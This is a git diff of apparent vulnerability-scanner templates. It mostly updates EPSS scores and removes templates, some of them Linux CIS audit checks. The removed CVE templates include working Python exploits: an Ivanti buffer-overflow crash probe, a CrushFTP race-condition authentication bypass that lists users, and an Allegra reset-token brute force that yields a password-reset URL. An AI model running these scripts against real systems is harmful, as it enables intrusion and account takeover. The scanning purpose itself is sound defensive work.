cve-id: CVE-2024-10443
cwe-id: CWE-77
epss-score: 0.69894
epss-percentile: 0.98618
epss-score: 0.69629
epss-percentile: 0.98573
cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
metadata:
verified: true
@@ -54,4 +54,4 @@ code:
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "dns"
# digest: 4a0a004730450220511e571db5d5da0bfa64140844ecb6b6a8c8d34c619b653100ae31e91ec729d2022100891722957d284e2a9169c66964f54e9698a5a42d2c990314f0bc57f7b029e35c:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220238322406ea7b36d09adcd8d11555a98663066124719295b82627c0c6aa649c602210097fd42ed176237bd31b1b6fe4b675eb74f378636c66888f6578c5f20d49e8af4:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -13,8 +13,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-12356
cwe-id: CWE-77
epss-score: 0.93687
epss-percentile: 0.99841
epss-score: 0.93590
epss-percentile: 0.99831
cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
metadata:
vendor: beyondtrust
@@ -37,4 +37,4 @@ code:
words:
- "0 success"
- "1 try again later"
# digest: 4a0a0047304502200b37b3f73826455d516931c5296dbaba91036d7e80ba5f11e544fea8dc775a75022100c8bbd7a40f951edf1629235401f4da2be665590e74464519de65ad0b42b7e049:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100be13ba221189875a5c3c181eb1e6c5d7c4806c31798dc6f540657279fac5b029022031676609cf3da0030625ce6aac0a33787770a4d084ec52ac9f58d0faa903025f:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.1
cve-id: CVE-2024-22120
cwe-id: CWE-20
epss-score: 0.93596
epss-percentile: 0.99832
epss-score: 0.93881
epss-percentile: 0.99865
metadata:
max-request: 1
vendor: zabbix
@@ -71,4 +71,4 @@ code:
- type: word
words:
- "Vulnerable to CVE-2024-22120"
# digest: 490a00463044022025c92476c4be0039721b139dbeb6c79092139443c438dad448cfd2f05da0a5ca02207927404826fa7d6f8f7cf05ced1e423628fde86c290bb4e4ebed907d0d3cf355:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022057371395d4fb23fb810c20049a9d700a8284af6c1bc84864c23f1b4470dc4583022100f4d401098a82c09507f92f49757fb5d6085c9739a37aabc3f9ba8dcd894bdfa8:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 10
cve-id: CVE-2024-3094
cwe-id: CWE-506
epss-score: 0.86323
epss-percentile: 0.99365
epss-score: 0.84011
epss-percentile: 0.99254
cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
metadata:
verified: true
@@ -59,4 +59,4 @@ code:
- type: dsl
dsl:
- response
# digest: 490a00463044022054bcebe277e8065f26d05e4687e0113cd9c46eef4470b33f48b3b85182501174022058d4832af02dede606b68af5ab70c68e320e59f848f1267fedc59b33e107a153:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100f7234c73aae801d78da251277aec0c21a4952b8b344944b3892eee84ec5891ae0221008d992982b582811cdd8173176149ef196cc6f7b672fcf16d10c05aab8badd9db:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -10,8 +10,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2024-4340
epss-score: 0.14988
epss-percentile: 0.94311
epss-score: 0.15598
epss-percentile: 0.94407
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4340
tags: cve,cve2024,py,code,dos,python,sqlparse
@@ -29,4 +29,4 @@ code:
part: stderr
words:
- "RecursionError: maximum recursion depth exceeded"
# digest: 4b0a0048304602210089bcc3455b7c88d7661935d11299513e8587ede3c558cb7d4ffb7d08773b0f5e022100f427e4c730b4b68da3bc12b35b016d85a6a4ebb59a47368b704ab2f85262421d:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402204fca66bc1127003bf7091c3ef4aa8c9a979c22405fb23f6e34ed6ef18a8b0daa0220188f7df879246724eac3b609b7bba222ff83e2a839029e7a0ef168c88260941c:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -20,8 +20,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-45409
cwe-id: CWE-347
epss-score: 0.12641
epss-percentile: 0.9373
epss-score: 0.16139
epss-percentile: 0.94531
metadata:
verified: true
shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
- type: kval
kval:
- _gitlab_session
# digest: 4a0a00473045022027adcc282552da29cd8826014ddb129e6bdf7be89e63adcde0665eb5fbe079b5022100bc17da39d2083d1ad807db298496b4d57a25ad317d9c21dd39bcf4576f5204f2:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402201e63c308fefaaa4d4ba99b5a7c2ea3d7dcdf5544dc8d4a1ae1a0fbd532d7241702207232eaea82be593da580ba735e84de2153ee1708552ae08603c4c7237f2e1112:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-55556
cwe-id: CWE-502
epss-score: 0.7976
epss-percentile: 0.99064
epss-score: 0.80857
epss-percentile: 0.99096
metadata:
verified: true
max-request: 2
@@ -193,4 +193,4 @@ http:
- type: status
status:
- 500
# digest: 4a0a00473045022100fa051fc59c7e7a9bf4857e279185fde62cce5223f4667bf9566e558ea57b4e5702205d4082e4fe67bb7e9e411d5b174ffc7d30c3b1d3386ef0b2d6ff0f54e3e10239:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100e75d786df30fc6d158bb38bc2b13a5af3c2e27174c1617fe01b419f3a5d69b57022100840b6aaccec646d85c578e77492eda810bfb731287ba8520e5d657e92f883297:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2024-56331
cwe-id: CWE-22
epss-score: 0.41406
epss-percentile: 0.97319
epss-percentile: 0.97262
metadata:
verified: true
shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
- type: word
words:
- "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
# digest: 4b0a0048304602210096260af4bceedc4785b9340cedbb504b42efa85cb8a6089f2e217d71caf44e7f022100dd4ff46529688be3704561cc24852e1f4b70d7885fa54ae482f1ecb555ee1e80:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220767c6864cb0310b6d63e766a5284e127185a790ded13671c3b33ee3ae955d86a02202e855684ba68b62411f6e36c7e6c472bfbd78ce3f6729980b57f92116bca9a5c:922c64590222798bb761d5b6d8e72950
-114
View File
@@ -1,114 +0,0 @@
id: CVE-2025-22457
info:
name: Ivanti Connect Secure - Stack-based Buffer Overflow
author: s4e-io
severity: critical
description: |
Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4,
and Ivanti ZTA Gateways before version 22.8R2.2 contain a stack-based buffer overflow caused by
improper input handling, allowing remote attackers to execute arbitrary code without authentication.
impact: |
Remote attackers can execute arbitrary code on the affected systems, potentially leading to full system compromise.
remediation: |
Update to the latest versions: Ivanti Connect Secure 22.7R2.6 or later, Ivanti Policy Secure 22.7R1.4 or later, Ivanti ZTA Gateways 22.8R2.2 or later.
reference:
- https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
- https://www.cvedetails.com/cve/CVE-2025-22457
- https://github.com/securekomodo/CVE-2025-22457
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2025-22457
cwe-id: CWE-121,CWE-787
epss-score: 0.75813
epss-percentile: 0.98866
cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
metadata:
vendor: ivanti
product: connect_secure
shodan-query: http.title:"ivanti connect secure"
fofa-query: title="ivanti connect secure"
zoomeye-query: title:"ivanti connect secure"
google-query: intitle:"ivanti connect secure"
tags: cve,cve2025,ivanti,intrusive,kev
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
code:
- engine:
- py
- python3
source: |
import os
import time
import requests
TARGET_PATH = "/dana-na/auth/url_default/welcome.cgi"
TIMEOUT = 10
class IvantiExploit:
def __init__(self, host, port):
self.host = host.rstrip("/")
self.port = port
def check_vuln(self):
host = self.host
if not host.startswith("http://") and not host.startswith("https://"):
host = f"https://{host}"
url = f"{host}:{self.port}{TARGET_PATH}"
print(f"Testing {url}")
#1 Pre-check: Check if target is reachable and status is 200.
try:
r1 = requests.get(url, timeout=TIMEOUT, verify=False)
except requests.RequestException:
r1 = None
if not r1 or r1.status_code != 200:
print("Pre-check failed because target is not reachable or status is not 200.")
return False
print("Pre-check successful.")
#2 Payload: Send POST request with X-Forwarded-For header to test the vulnerability.
payload_header = {"X-Forwarded-For": "1"*2048}
try:
r2 = requests.post(url, headers=payload_header, timeout=TIMEOUT, verify=False)
except requests.RequestException:
r2 = None
if r2:
print("Payload is not working.")
return False
else:
print("Payload is working.")
time.sleep(1)
#3 Follow-up: Check if target is still reachable after payload.
try:
r3 = requests.get(url, timeout=TIMEOUT, verify=False)
except requests.RequestException:
r3 = None
if r3.status_code == 200:
print(f"VULNERABLE: {self.host}:{self.port}")
return True
print("Target seems safe")
return False
if __name__ == "__main__":
host = os.getenv("Host")
port = os.getenv("Port")
IvantiExploit(host, port).check_vuln()
matchers:
- type: word
words:
- "VULNERABLE:"
# digest: 4a0a00473045022100cd2e872db92d2f8b8fd16e46f950e8bb554ed6efe5a0f8b7d4491a9e8e6cdc2c02204b4f711198aef8e61c3378c023d7be0131eb7b6b40be33a24aa29d0960e0f693:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.3
cve-id: CVE-2025-25291
cwe-id: CWE-347
epss-score: 0.13868
epss-percentile: 0.94062
epss-score: 0.01703
epss-percentile: 0.81527
metadata:
verified: true
vendor: gitlab
@@ -78,4 +78,4 @@ http:
- type: kval
kval:
- _gitlab_session
# digest: 4a0a00473045022025dedaab7f1ebf59275bfd3bfd416f881099ceb139fae440920ccd04a5b0382e022100946ad965f773d3aa726d421ba1496c350b851de9cc18be7877d800290fb3c980:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022100be3b0643c89a1ddcd15aa06afc686f3efb80fa245984ce21ca1b4275c74d42a2021f4b0e28ee37a26ab75834991f37b275727fac03c60f0170a2e59e232ae078d8:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -20,8 +20,8 @@ info:
cvss-score: 10
cve-id: CVE-2025-32433
cwe-id: CWE-306
epss-score: 0.6781
epss-percentile: 0.98529
epss-score: 0.55376
epss-percentile: 0.97930
metadata:
verified: true
max-request: 1
@@ -172,4 +172,4 @@ code:
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4a0a0047304502202c0e1736b21b2b04c9e2bba10105fce2454bf000eafeb60c54440aa6ab8577e2022100dc310090bbdd573095c7bfc7b0ca9cfb7803850569eeb00d26ed930a6de7d09f:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502207edfd6f617b697c540c8375a5278b5c1016c928b22d041e1dc19ddfdad65d43b022100a4785eb798107b1413fd119e65a851be94361018e5eb785f393d26feed858cc1:922c64590222798bb761d5b6d8e72950
-203
View File
@@ -1,203 +0,0 @@
id: CVE-2025-54309
info:
name: CrushFTP - Authentication Bypass Race Condition
author: pussycat0x,watchTowr,dhiyaneshdk
severity: critical
description: |
CrushFTP 10 before 10.8.5 and 11 before 11.3.4_23, when the DMZ proxy feature is not used, mishandles AS2 validation and consequently allows remote attackers to obtain admin access via HTTPS, as exploited in the wild in July 2025.
impact: |
Remote attackers can bypass authentication and access sensitive user data, potentially leading to unauthorized access to the CrushFTP system and exfiltration of user information.
remediation: |
Update to the latest version of CrushFTP that patches this authentication bypass vulnerability.
reference:
- https://github.com/watchtowrlabs/watchTowr-vs-CrushFTP-Authentication-Bypass-CVE-2025-54309/blob/main/watchTowr-vs-CrushFTP-CVE-2025-54309.py
- https://labs.watchtowr.com/the-one-where-we-just-steal-the-vulnerabilities-crushftp-cve-2025-54309/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-54309
epss-score: 0.38408
epss-percentile: 0.97147
cwe-id: CWE-287,CWE-362
cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
metadata:
verified: true
vendor: crushftp
product: crushftp
shodan-query:
- http.title:"crushftp"
- http.favicon.hash:-1022206565
fofa-query:
- title="crushftp"
- icon_hash="-1022206565"
zoomeye-query: title:"crushftp"
google-query: intitle:"crushftp"
tags: cve,cve2025,crushftp,auth-bypass,race-condition,kev
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
code:
- engine:
- py
- python3
source: |
import requests
import threading
import time
import random
import string
import re
import os
def generate_random_c2f():
"""Generate random 4-character c2f value"""
return ''.join(random.choices(string.ascii_letters + string.digits, k=4))
def make_request_with_as2(target_url, c2f_value, cookie):
"""Make request with AS2-TO header and disposition-notification content type"""
url = f"{target_url}/WebInterface/function/"
headers = {
"Host": target_url.replace("http://", "").replace("https://", ""),
"User-Agent": "python-requests/2.32.3",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "keep-alive",
"AS2-TO": "\\crushadmin",
"Content-Type": "disposition-notification",
"X-Requested-With": "XMLHttpRequest",
"Cookie": cookie
}
data = {
"command": "getUserList",
"serverGroup": "MainUsers",
"c2f": c2f_value
}
try:
response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
return f"AS2 Request - Status: {response.status_code}", response.text
except Exception as e:
return f"AS2 Request - Error: {str(e)}", ""
def make_request_without_as2(target_url, c2f_value, cookie):
"""Make request without AS2-TO header and disposition-notification content type"""
url = f"{target_url}/WebInterface/function/"
headers = {
"Host": target_url.replace("http://", "").replace("https://", ""),
"User-Agent": "python-requests/2.32.3",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "keep-alive",
"X-Requested-With": "XMLHttpRequest",
"Cookie": cookie
}
data = {
"command": "getUserList",
"serverGroup": "MainUsers",
"c2f": c2f_value
}
try:
response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
return f"Regular Request - Status: {response.status_code}", response.text
except Exception as e:
return f"Regular Request - Error: {str(e)}", ""
def check_vulnerable_response(response_text):
"""Check if response contains user_list_subitem pattern and extract usernames"""
if "<user_list_subitem>" in response_text:
usernames = re.findall(r'<user_list_subitem>(.*?)</user_list_subitem>', response_text)
if usernames:
top_users = usernames[:10]
print(f"[*] EXFILTRATED {len(top_users)} USERS: {', '.join(top_users)}")
return True
return False
def race_requests_with_detection(target_url, num_requests=100):
"""Race multiple requests and detect vulnerability"""
print(f"Starting race with {num_requests} request pairs...")
for i in range(num_requests):
# Generate new c2f every 50 requests
if i % 50 == 0:
c2f_value = generate_random_c2f()
cookie = f"CrushAuth=1755657772315_Nr7FSH4jd2l6RueteEaaEDpY1CcdU{c2f_value}; currentAuth={c2f_value}"
print(f"[*] NEW SESSION: c2f={c2f_value}")
else:
c2f_value = generate_random_c2f()
cookie = f"CrushAuth=1755657772315_Nr7FSH4jd2l6RueteEaaEDpY1CcdU{c2f_value}; currentAuth={c2f_value}"
# Store results
results = {'as2': None, 'regular': None}
def as2_worker():
results['as2'] = make_request_with_as2(target_url, c2f_value, cookie)
def regular_worker():
results['regular'] = make_request_without_as2(target_url, c2f_value, cookie)
# Create and start threads
t1 = threading.Thread(target=as2_worker)
t2 = threading.Thread(target=regular_worker)
# Start both threads simultaneously
t1.start()
t2.start()
# Wait for both to complete
t1.join()
t2.join()
# Check for vulnerability in both responses
as2_status, as2_response = results['as2']
regular_status, regular_response = results['regular']
# Check if either response contains the user list pattern
if check_vulnerable_response(as2_response) or check_vulnerable_response(regular_response):
print(f"VULNERABLE: {target_url}")
return True
# Print progress every 25 requests
if (i + 1) % 25 == 0:
print(f"[*] PROGRESS: {i + 1}/{num_requests} request pairs completed...")
return False
if __name__ == "__main__":
host = os.getenv("Host")
port = os.getenv("Port")
if not host:
print("Host environment variable not set")
exit(1)
# Construct target URL
if not host.startswith(('http://', 'https://')):
target_url = f"http://{host}"
if port and port != "80":
target_url = f"http://{host}:{port}"
else:
target_url = host
if port and port != "80" and port not in host:
target_url = f"{host}:{port}"
print(f"[*] Testing target: {target_url}")
# Try 100 requests with race condition detection
if race_requests_with_detection(target_url, 100):
print("VULNERABLE: Race condition vulnerability detected!")
else:
print("Target appears to be patched or timing window missed")
matchers:
- type: word
words:
- "VULNERABLE:"
# digest: 490a0046304402205b0dfb62d11dab3d77d04b1e37e892d0c735201d14c0cb0648eaf7d3d40135980220683d9b87c92553503a73c539fb3540c41bacfd0727e40296e48c926bc81ac76d:922c64590222798bb761d5b6d8e72950
-118
View File
@@ -1,118 +0,0 @@
id: CVE-2025-6216
info:
name: Allegra - Authentication Bypass via Predictable Password Reset Token
author: iamnoooob,pdresearch
severity: critical
description: |
Allegra calculateTokenExpDate Password Recovery Authentication Bypass Vulnerability. This vulnerability allows remote attackers to bypass authentication on affected installations of Allegra. Authentication is not required to exploit this vulnerability. The specific flaw exists within the password recovery mechanism. The issue results from reliance upon a predictable value when generating a password reset token. An attacker can leverage this vulnerability to bypass authentication on the application.
impact: |
An attacker can exploit this vulnerability to bypass authentication and gain unauthorized access to the application, potentially compromising sensitive data and system integrity.
remediation: |
Upgrade Allegra to version 8.1.4 or 7.5.2 or later to fix the predictable password reset token vulnerability.
reference:
- https://www.zerodayinitiative.com/advisories/ZDI-25-410/
- https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
- https://nvd.nist.gov/vuln/detail/CVE-2025-6216
classification:
epss-score: 0.16633
epss-percentile: 0.94672
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-6216
cwe-id: CWE-640
cpe: cpe:2.3:a:alltena:allegra:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: alltena
product: allegra
shodan-query: http.favicon.hash:"284403119"
fofa-query: icon_hash="284403119"
tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset
variables:
email: "[email protected]" # Change to a test account
flow: http(1) && code()
http:
- raw:
- |
POST /resetPassword.action HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
email={{email}}&fromAjax=true&_dc=1750669432104&perspectiveType=&appActionID=
extractors:
- type: regex
name: date_header
part: header
internal: true
group: 1
regex:
- "Date: (.*)"
matchers-condition: and
matchers:
- type: word
words:
- "emailSent"
- '"success":true'
condition: and
- type: status
status:
- 200
code:
- engine:
- py
- python3 # requires python to be pre-installed on system running nuclei
source: |
import requests
import hashlib,os
import time
from datetime import datetime, timezone
from email.utils import parsedate_to_datetime
def get_server_time(response):
date_header = response.headers.get('Date')
if date_header:
return parsedate_to_datetime(date_header)
return None
def main():
BASE_URL = os.getenv("BaseURL")
EMAIL = os.getenv("email")
date_header = os.getenv("date_header")
server_time = parsedate_to_datetime(date_header)
if not server_time:
return
server_time_ms = int(server_time.timestamp() * 1000)
expiry_time_ms = server_time_ms + 28800000
base_expiry_sec = (expiry_time_ms // 1000) * 1000
for ms in range(1000):
candidate_expiry_ms = base_expiry_sec + ms
token = hashlib.sha256(str(candidate_expiry_ms).encode()).hexdigest()
test_url = f"{BASE_URL}/resetPassword!confirm.action?ctk={token}"
r = requests.get(test_url, allow_redirects=False)
if 'com.trackplus.app.logon.ResetPasswordApplication' in r.text:
print(test_url)
return
if __name__ == "__main__":
main()
matchers:
- type: dsl
dsl:
- contains(code_response, "/resetPassword!confirm.action?ctk=")
extractors:
- type: dsl # type of the extractor
dsl:
- '"Reset URL: " + code_response'
# digest: 4a0a004730450220712c79e80a0855131981f984d6b7ff7fe0528653c142dda494b13bb2d8199f37022100e1e66897866603dd86ad9ea8b6953ef1c68842b22183e6a7c08f0e06cdc6ed5c:922c64590222798bb761d5b6d8e72950
-45
View File
@@ -1,45 +0,0 @@
id: autofs-service
info:
name: Ensure autofs Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The autofs package provides the automounting service, which mounts file systems automatically on demand. If not explicitly required, having this service installed increases the system’s attack surface and should be avoided.
remediation: |
- Ensure the `autofs` package is not installed unless explicitly required.
- To disable the service if present, run: sudo systemctl disable --now autofs 2>/dev/null || true
- To remove the package, run: sudo apt-get purge -y autofs
- To clean up dependencies, run: sudo apt-get autoremove -y
- To verify removal, run: dpkg-query -s autofs || echo "autofs not installed"
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s autofs &>/dev/null; then
echo "[autofs-service-check:Policy-Fail] [autofs is installed] [CIS_FAIL]"
else
echo "[autofs-service-check:Policy-Pass] [autofs is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a00483046022100beae631943cebc47c019a26e3e75c3564f7fa4fe70eb0de578f3fce62a6d00aa022100aa285d67fd177fa37e5274957926becc643b3aeec8e446f8dab8ccc4c704597b:922c64590222798bb761d5b6d8e72950
-42
View File
@@ -1,42 +0,0 @@
id: avahi-daemon
info:
name: Ensure Avahi Daemon Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The avahi-daemon package provides mDNS/DNS-SD service discovery on local networks.In secure environments, it should only be installed when explicitly required, as it may expose unnecessary services.
remediation: |
- Ensure the `avahi-daemon` package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove avahi-daemon -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s avahi-daemon &>/dev/null; then
echo "[avahi-daemon-check:Policy-Fail] [avahi-daemon is installed] [CIS_FAIL]"
else
echo "[avahi-daemon-check:Policy-Pass] [avahi-daemon is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502203ff7e050b9bdb5b5fb471fb8a5b0af788c76666c2ff5a8c03f54236319f62275022100c547a08d5e0daa645f49e890a0b5e539b305aade4c704a67982c17528825a3c8:922c64590222798bb761d5b6d8e72950
-42
View File
@@ -1,42 +0,0 @@
id: dhcp-server
info:
name: Ensure DHCP Server Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The isc-dhcp-server package provides DHCP services for automatic IP address assignment.Running a DHCP server on non-designated systems may introduce security risks and unwanted network behavior.
remediation: |
- Ensure the isc-dhcp-server package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove isc-dhcp-server -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s isc-dhcp-server &>/dev/null; then
echo "[dhcp-server-check:Policy-Fail] [isc-dhcp-server is installed] [CIS_FAIL]"
else
echo "[dhcp-server-check:Policy-Pass] [isc-dhcp-server is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a00483046022100e0295197c3dcb64ab0634b8089f939fb2a5b2af806979a375d674edb894b98e3022100d11947e58b029bf89610149ae753d86184d599fbb164f504eb9ee2e914033f73:922c64590222798bb761d5b6d8e72950
-42
View File
@@ -1,42 +0,0 @@
id: dns-server
info:
name: Ensure DNS Server Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The bind9 package provides a DNS server for name resolution services.Running a DNS server on systems not designated for that purpose may expose them to unnecessary risks.
remediation: |
- Ensure the `bind9` package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove bind9 -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s bind9 &>/dev/null; then
echo "[dns-server-check:Policy-Fail] [bind9 is installed] [CIS_FAIL]"
else
echo "[dns-server-check:Policy-Pass] [bind9 is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022079762241d32803af268579ee2dbc0f109db253b5709ae57a79216a73d7c16fd10221009978493f411a9e4b7a4a019d640a19e03c4cf7380d39000f10276f9367c3674d:922c64590222798bb761d5b6d8e72950
@@ -1,26 +0,0 @@
id: dns-zone-transfer-any
info:
name: DNS Zone Transfer Allowed to Any Host
author: songyaeji
severity: high
description: |
DNS Zone Transfer configured with "allow-transfer { any; };" allowed unrestricted zone transfers.This exposed sensitive details like hostnames, network structure, and system data that attackers could use for reconnaissance and further attacks.
reference:
- https://isms.kisa.or.kr
tags: linux,local,kisa,audit,compliance
self-contained: true
code:
- engine:
- bash
source: |
grep -E 'allow-transfer' /etc/named.conf 2>/dev/null || echo "no-allow-transfer"
matchers:
- type: regex
part: code_1_response
regex:
- 'allow-transfer\s*\{\s*any;\s*\}'
# digest: 490a00463044022037476af6ea98c17d43d75d3cb57874705aeba154fd8e7ef8859748eafab0ebf702200a0d472b83fe677c4c703d4b82307a6c8b65f57418c549a3ad46b6cc13547206:922c64590222798bb761d5b6d8e72950
-42
View File
@@ -1,42 +0,0 @@
id: dnsmasq-service
info:
name: Ensure dnsmasq Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The dnsmasq package provides lightweight DNS, DHCP, and TFTP services. If not explicitly required, its presence may expose unnecessary services and increase security risks.
remediation: |
- Ensure the `dnsmasq` package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove dnsmasq -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s dnsmasq &>/dev/null; then
echo "[dnsmasq-service-check:Policy-Fail] [dnsmasq is installed] [CIS_FAIL]"
else
echo "[dnsmasq-service-check:Policy-Pass] [dnsmasq is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502210096d5ee4d88f2bcf276e1d30f7d440f27c00ed4a5afca848de514d11a3d2d7fc80220742d89f57a4da6922d14a351db1f31477f7fb513d0627d35d7b0fcdb28f69e5b:922c64590222798bb761d5b6d8e72950
@@ -1,27 +0,0 @@
id: etc-services-permission-check
info:
name: /etc/services Permission Check
author: songyaeji
severity: high
description: |
The /etc/services file was not owned by root or had excessive permissions,allowing attackers to alter port assignments to redirect services or open unauthorized ports.
reference:
- https://isms.kisa.or.kr
tags: linux,code,audit,compliance,local
self-contained: true
code:
- engine:
- sh
- bash
source: |
stat -c "%U %G %a" /etc/services 2>/dev/null || echo "not-found"
matchers:
- type: regex
part: response
regex:
- '^root\s+root\s+(600|640|644)$'
# digest: 490a0046304402206191a33140f6b945e840ee4d9ffc8ab2021e2fb4da77355e420c2ae192895e160220129ec14176286e2173c8832a4de3c139824553af5b3b2b0f641be80a15384865:922c64590222798bb761d5b6d8e72950
@@ -1,40 +0,0 @@
id: finger-service-enabled
info:
name: Linux Finger Should Be Disabled
author: songyaeji
severity: high
description: |
The Finger service was enabled on the system and exposed user account details to unauthorized users, which could have been used in password-based attacks or user enumeration.It was checked in both xinetd and systemd environments.
reference:
- https://isms.kisa.or.kr
tags: linux,local,code,audit,compliance,kisas
self-contained: true
code:
- engine:
- sh
- bash
source: |
if [ -f /etc/xinetd.d/finger ]; then
disable_status=$(grep -i 'disable' /etc/xinetd.d/finger | grep -v '^#' | awk -F '=' '{print $2}' | xargs)
if [ "$disable_status" = "no" ]; then
echo "[VULNERABLE] Finger service is enabled via xinetd (disable = no)"
elif [ -z "$disable_status" ]; then
echo "[UNKNOWN] Finger service config found but no disable directive"
else
echo "[SAFE] Finger service is disabled in xinetd"
fi
elif systemctl is-active --quiet finger 2>/dev/null; then
echo "[VULNERABLE] Finger service is active under systemd"
else
echo "[SAFE] Finger service not found"
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4b0a00483046022100fd961710afcaa51c59ad26cd14dac20be07b92c68df9117ecfd3378b7a38a947022100824452bade1c3d45e18321b7ab0e61b3bd6cad55e57ae2180a8c5df4618d7ea5:922c64590222798bb761d5b6d8e72950
-44
View File
@@ -1,44 +0,0 @@
id: ftp-client
info:
name: Ensure FTP Client is Not Installed
author: Th3l0newolf
severity: info
description: |
FTP clients such as ftp and tnftp use an unencrypted protocol that exposes sensitive data during transmission.These packages should only be installed when explicitly required, as their presence increases security risk.
remediation: |
- Ensure FTP client packages are not installed unless explicitly required.
- To remove them, run: sudo apt-get remove ftp tnftp -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,ftp
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
